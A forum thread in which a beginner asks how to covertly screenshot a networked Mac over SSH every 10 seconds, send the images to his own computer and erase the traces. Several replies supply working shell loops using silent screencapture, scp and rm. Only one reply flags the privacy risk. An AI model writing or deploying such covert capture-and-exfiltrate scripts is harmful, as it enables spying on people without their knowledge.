Become a MacRumors Supporter for $50/year with no ads, ability to filter front page stories, and private forums.

ac-mac

macrumors member
Original poster
Apr 9, 2007
83
0
England
OK... so I am a newb programmer, I mean I just started yesterday (although I did some Basic before switching) and this is what I need to do.

1) Log on to a network computer using SSH
2) Take a screenshot of that computer every 10 seconds and copy it to my computer

and then after I have taken enough screenshots (which will vary depending on user activity)

3) Delete the file myusername@myIP in the network computer's Home folder
4) Delete the screenshot file
5) Empty the trash

I would like all these things to be done without the user knowing their happening - ie no dialog boxes, no alert sounds etc

I know that most programmers don't like to help someone who hasn't done their homework. So... I am able to log on to the network computer via Terminal using ssh targetuser@targetIP and I am also able to take the screenshot and copy it to my computer (but not every 10 seconds) using screencapture -x ~/screen.jpg followed by scp ~/screen.jpg myusername@myIP: However, I have to do these manually every 10 seconds which is really not very practical or possible. I have no idea how to delete the files remotely or empty the trash. Please any help with automating the tasks or remotely emptying the trash would be appreciated.
 

Super Macho Man

macrumors 6502a
Jul 24, 2006
505
0
Hollywood, CA
Why not write a simple shell script that puts the below commands in an infinite loop. Try this, save it as whatever.sh, then 'chmod 700 whatever.sh' in Terminal, then './whatever.sh' to run it. (It will take over your command line though, so './whatever.sh &' to run it in the background)

Code:
#!/bin/sh

for ((i=1; i>0; i+=1)); do
    screencapture -x ~/screen.jpg
    scp ~/screen.jpg myusername@myIP
    rm ~/screen.jpg
    sleep 10
done

rm will will delete the file without trashing it. Things only end up in the trash when they are deleted from the Finder, not the command line. And the '10' in 'sleep 10' should really be 10 minus however many seconds it takes to execute the above steps.
 

cruzrojas

macrumors member
Mar 26, 2007
67
0
USA
Why not write a simple shell script that puts the below commands in an infinite loop. ...

If you want to store all the screenshots in your computer you can modify the code to;

Code:
#!/bin/sh

for ((i=1; i>0; i+=1)); do
    screencapture -x ~/screen$i.jpg
    scp ~/screen$i.jpg myusername@myIP
    rm ~/screen$i.jpg
    sleep 10
done

Best Regards
 

4409723

Suspended
Jun 22, 2001
2,221
0
I'm not experienced with shell scripts but some languages will allow you to an infinite loop like:

Code:
for(;;) {
**Loop infinitely over this stuff.**
}

Will help you clean it up a bit...
 

lazydog

macrumors 6502a
Sep 3, 2005
709
6
Cramlington, UK
Hi

I think you may have problems with the screen capture as you will probably have to ssh with the same username/password as the person running the Finder session. If you think about it, it would be a big security risk if you could simply ssh into somebody's Mac and then see what they were typing simply by doing a screen grab!

b e n
 
Register on MacRumors! This sidebar will go away, and you'll see fewer ads.